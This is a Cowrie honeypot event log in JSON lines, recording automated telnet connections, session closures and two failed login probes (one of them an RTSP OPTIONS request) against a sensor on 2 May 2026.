{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24438,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e02be3afb20","protocol":"telnet","message":"New connection: 34.38.38.134:24438 (159.203.135.109:23) [session: 8e02be3afb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:57.260670Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24440,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e92a5630a6d","protocol":"telnet","message":"New connection: 34.38.38.134:24440 (159.203.135.109:23) [session: 8e92a5630a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:57.417060Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24456,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b6254d5293","protocol":"telnet","message":"New connection: 34.38.38.134:24456 (159.203.135.109:23) [session: 92b6254d5293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:57.574099Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ce5c757c58","protocol":"telnet","message":"New connection: 34.38.38.134:24472 (159.203.135.109:23) [session: c8ce5c757c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:57.730823Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24476,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd62a5d3fb0e","protocol":"telnet","message":"New connection: 34.38.38.134:24476 (159.203.135.109:23) [session: bd62a5d3fb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:57.885195Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24492,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d38d2b53b57","protocol":"telnet","message":"New connection: 34.38.38.134:24492 (159.203.135.109:23) [session: 6d38d2b53b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.041479Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24502,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f286581a63d","protocol":"telnet","message":"New connection: 34.38.38.134:24502 (159.203.135.109:23) [session: 3f286581a63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.197264Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24508,"dst_ip":"159.203.135.109","dst_port":23,"session":"313bea0c443c","protocol":"telnet","message":"New connection: 34.38.38.134:24508 (159.203.135.109:23) [session: 313bea0c443c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.353446Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.358525Z","src_ip":"34.38.38.134","session":"313bea0c443c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24516,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc580e056328","protocol":"telnet","message":"New connection: 34.38.38.134:24516 (159.203.135.109:23) [session: dc580e056328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.513236Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24524,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3987acb081","protocol":"telnet","message":"New connection: 34.38.38.134:24524 (159.203.135.109:23) [session: da3987acb081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.670162Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24530,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f459a1264c","protocol":"telnet","message":"New connection: 34.38.38.134:24530 (159.203.135.109:23) [session: 01f459a1264c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.824452Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24538,"dst_ip":"159.203.135.109","dst_port":23,"session":"d209359c73ad","protocol":"telnet","message":"New connection: 34.38.38.134:24538 (159.203.135.109:23) [session: d209359c73ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:58.979897Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24546,"dst_ip":"159.203.135.109","dst_port":23,"session":"18665dc37930","protocol":"telnet","message":"New connection: 34.38.38.134:24546 (159.203.135.109:23) [session: 18665dc37930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:59.133529Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24556,"dst_ip":"159.203.135.109","dst_port":23,"session":"658cf0d71183","protocol":"telnet","message":"New connection: 34.38.38.134:24556 (159.203.135.109:23) [session: 658cf0d71183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:59.288470Z"}
{"eventid":"cowrie.session.closed","duration":0.005533695220947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:59.293881Z","src_ip":"34.38.38.134","session":"658cf0d71183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24564,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc78ed625c67","protocol":"telnet","message":"New connection: 34.38.38.134:24564 (159.203.135.109:23) [session: dc78ed625c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:59.444469Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24570,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4dbfe3b606","protocol":"telnet","message":"New connection: 34.38.38.134:24570 (159.203.135.109:23) [session: ca4dbfe3b606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:59.598197Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8605","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8605] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:59.603347Z","src_ip":"34.38.38.134","session":"ca4dbfe3b606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.318525552749634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:00.256023Z","src_ip":"104.245.105.2","session":"9ca52c225368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":44860,"dst_ip":"10.17.0.5","dst_port":23,"session":"948ec07ec7f8","protocol":"telnet","message":"New connection: 207.154.251.61:44860 (10.17.0.5:23) [session: 948ec07ec7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:01.152609Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b51162c0c2","protocol":"telnet","message":"New connection: 104.245.105.2:42014 (10.17.0.5:23) [session: 71b51162c0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:04.760796Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":47194,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae4d2963ec60","protocol":"telnet","message":"New connection: 207.154.251.61:47194 (10.17.0.5:23) [session: ae4d2963ec60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:09.512342Z"}
{"eventid":"cowrie.session.closed","duration":0.005378007888793945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:09.517490Z","src_ip":"207.154.251.61","session":"ae4d2963ec60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07ead777ad5","protocol":"telnet","message":"New connection: 104.245.105.2:48898 (10.17.0.5:23) [session: b07ead777ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:10.642449Z"}
{"eventid":"cowrie.session.closed","duration":16.701497793197632,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.299576Z","src_ip":"34.38.38.134","session":"ca4dbfe3b606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.86152482032776,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.305900Z","src_ip":"34.38.38.134","session":"dc78ed625c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.177674531936646,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.311081Z","src_ip":"34.38.38.134","session":"18665dc37930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.49241280555725,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.316732Z","src_ip":"34.38.38.134","session":"01f459a1264c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.341060876846313,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.320836Z","src_ip":"34.38.38.134","session":"d209359c73ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.654907941818237,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.324927Z","src_ip":"34.38.38.134","session":"da3987acb081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.97730255126953,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.330652Z","src_ip":"34.38.38.134","session":"313bea0c443c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.82152032852173,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.334622Z","src_ip":"34.38.38.134","session":"dc580e056328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.147281646728516,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.344384Z","src_ip":"34.38.38.134","session":"3f286581a63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.306958436965942,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.348293Z","src_ip":"34.38.38.134","session":"6d38d2b53b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.466920614242554,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.352017Z","src_ip":"34.38.38.134","session":"bd62a5d3fb0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.625157594680786,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.355885Z","src_ip":"34.38.38.134","session":"c8ce5c757c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.78737711906433,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.361285Z","src_ip":"34.38.38.134","session":"92b6254d5293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.948091745376587,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.365031Z","src_ip":"34.38.38.134","session":"8e92a5630a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.10844087600708,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.368981Z","src_ip":"34.38.38.134","session":"8e02be3afb20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.38138747215271,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.372810Z","src_ip":"34.38.38.134","session":"ce6d7d5b27db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.733983755111694,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.376728Z","src_ip":"34.38.38.134","session":"152dd7224225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.124407529830933,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.380208Z","src_ip":"34.38.38.134","session":"db496f2b05ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.971940517425537,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.383797Z","src_ip":"34.38.38.134","session":"08423ae0543e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.287856340408325,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.388289Z","src_ip":"34.38.38.134","session":"41f1e4debbf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.447378158569336,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.391876Z","src_ip":"34.38.38.134","session":"14aec71fc2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.608643293380737,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:16.395651Z","src_ip":"34.38.38.134","session":"162ee00848b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.724496841430664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:17.823271Z","src_ip":"104.245.105.2","session":"40aebb0d76f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182329893112183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:26.847734Z","src_ip":"104.245.105.2","session":"5410a4a2d4e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.881362199783325,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:30.477840Z","src_ip":"207.154.251.61","session":"b14b90f0e31a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":47242,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4050e7a091","protocol":"telnet","message":"New connection: 207.154.251.61:47242 (10.17.0.5:23) [session: 2d4050e7a091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:32.782865Z"}
{"eventid":"cowrie.session.closed","duration":34.254955530166626,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:39.015619Z","src_ip":"104.245.105.2","session":"71b51162c0c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":54382,"dst_ip":"10.17.0.5","dst_port":23,"session":"65354e740b60","protocol":"telnet","message":"New connection: 207.154.251.61:54382 (10.17.0.5:23) [session: 65354e740b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:39.324722Z"}
{"eventid":"cowrie.session.closed","duration":0.005636930465698242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:39.330220Z","src_ip":"207.154.251.61","session":"65354e740b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22881865501404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:43.871149Z","src_ip":"104.245.105.2","session":"b07ead777ad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:52.559962Z","src_ip":"120.241.79.66","session":"c3c0de7baa34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.62810659408569,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:56:53.780603Z","src_ip":"207.154.251.61","session":"948ec07ec7f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6ab2ec7a22","protocol":"telnet","message":"New connection: 104.245.105.2:50666 (10.17.0.5:23) [session: ea6ab2ec7a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:57:42.848640Z"}
{"eventid":"cowrie.session.closed","duration":83.73696327209473,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:57:56.519681Z","src_ip":"207.154.251.61","session":"2d4050e7a091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":46944,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d5bdda1aa6","protocol":"telnet","message":"New connection: 207.154.251.61:46944 (10.17.0.5:23) [session: 24d5bdda1aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:00.594464Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":35982,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5eea5b63c14","protocol":"telnet","message":"New connection: 207.154.251.61:35982 (10.17.0.5:23) [session: c5eea5b63c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:06.255466Z"}
{"eventid":"cowrie.session.closed","duration":30.448615789413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:13.297132Z","src_ip":"104.245.105.2","session":"ea6ab2ec7a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0921bde152f","protocol":"telnet","message":"New connection: 207.154.251.61:40504 (10.17.0.5:23) [session: e0921bde152f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:15.032875Z"}
{"eventid":"cowrie.session.closed","duration":0.0483393669128418,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:15.081092Z","src_ip":"207.154.251.61","session":"e0921bde152f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53508,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5b9ddeb040","protocol":"telnet","message":"New connection: 104.245.105.2:53508 (10.17.0.5:23) [session: fd5b9ddeb040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:19.188681Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4813750759a","protocol":"telnet","message":"New connection: 207.154.251.61:41096 (10.17.0.5:23) [session: a4813750759a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:29.679522Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":56618,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6370c4e5a72","protocol":"telnet","message":"New connection: 207.154.251.61:56618 (10.17.0.5:23) [session: c6370c4e5a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:32.561203Z"}
{"eventid":"cowrie.session.closed","duration":34.6346800327301,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:53.823238Z","src_ip":"104.245.105.2","session":"fd5b9ddeb040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":56606,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d606395a0c4","protocol":"telnet","message":"New connection: 207.154.251.61:56606 (10.17.0.5:23) [session: 5d606395a0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:58:58.450163Z"}
{"eventid":"cowrie.session.closed","duration":31.35246706008911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:59:01.031892Z","src_ip":"207.154.251.61","session":"a4813750759a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.207980155944824,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:59:02.802324Z","src_ip":"207.154.251.61","session":"24d5bdda1aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.888000726699829,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:59:03.338024Z","src_ip":"207.154.251.61","session":"5d606395a0c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87851357460022,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:59:08.439602Z","src_ip":"207.154.251.61","session":"c6370c4e5a72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":57042,"dst_ip":"10.17.0.5","dst_port":23,"session":"892d51232927","protocol":"telnet","message":"New connection: 207.154.251.61:57042 (10.17.0.5:23) [session: 892d51232927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:59:09.658684Z"}
{"eventid":"cowrie.session.closed","duration":104.95457768440247,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:59:51.209920Z","src_ip":"207.154.251.61","session":"c5eea5b63c14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50162,"dst_ip":"10.17.0.5","dst_port":23,"session":"459353746d66","protocol":"telnet","message":"New connection: 207.154.251.61:50162 (10.17.0.5:23) [session: 459353746d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:00:04.131466Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60246,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b5a3ab2d98e","protocol":"telnet","message":"New connection: 104.245.105.2:60246 (10.17.0.5:23) [session: 1b5a3ab2d98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:00:16.785378Z"}
{"eventid":"cowrie.session.closed","duration":82.51203894615173,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:00:32.170629Z","src_ip":"207.154.251.61","session":"892d51232927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.857604026794434,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:00:41.988926Z","src_ip":"207.154.251.61","session":"459353746d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.414287567138672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:00:48.199552Z","src_ip":"104.245.105.2","session":"1b5a3ab2d98e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.221.155.219","src_port":52080,"dst_ip":"159.203.135.109","dst_port":23,"session":"df15064e78d6","protocol":"telnet","message":"New connection: 187.221.155.219:52080 (159.203.135.109:23) [session: df15064e78d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:00:51.744924Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58400,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4d44e1f4ee","protocol":"telnet","message":"New connection: 104.245.105.2:58400 (10.17.0.5:23) [session: 0c4d44e1f4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:04.758354Z"}
{"eventid":"cowrie.session.closed","duration":13.481834173202515,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:05.226644Z","src_ip":"187.221.155.219","session":"df15064e78d6","protocol":"telnet"}
